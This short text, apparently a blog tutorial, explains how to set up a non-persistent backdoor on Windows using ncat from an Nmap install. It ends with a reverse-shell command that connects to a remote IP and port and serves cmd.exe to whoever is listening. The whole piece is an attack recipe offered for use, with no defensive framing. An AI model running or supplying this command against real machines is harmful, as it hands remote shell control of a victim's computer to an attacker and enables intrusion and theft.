Let’s see how we can create a non-persistent backdoor in Windows with ncat. We are going to need ncat.exe. Download and install Nmap. Locate ncat.exe in nmap’s installation folder. You will probably find ncat.exe, in this folder x:\Program Files (x86)\Nmap if you have 64bit Windows 7 system as I have. Copy it. It can work independently. Open command line (cmd) and change directory to ncat.exe file location.
ncat.exe <remote_ip> <remote_port> -e cmd.exe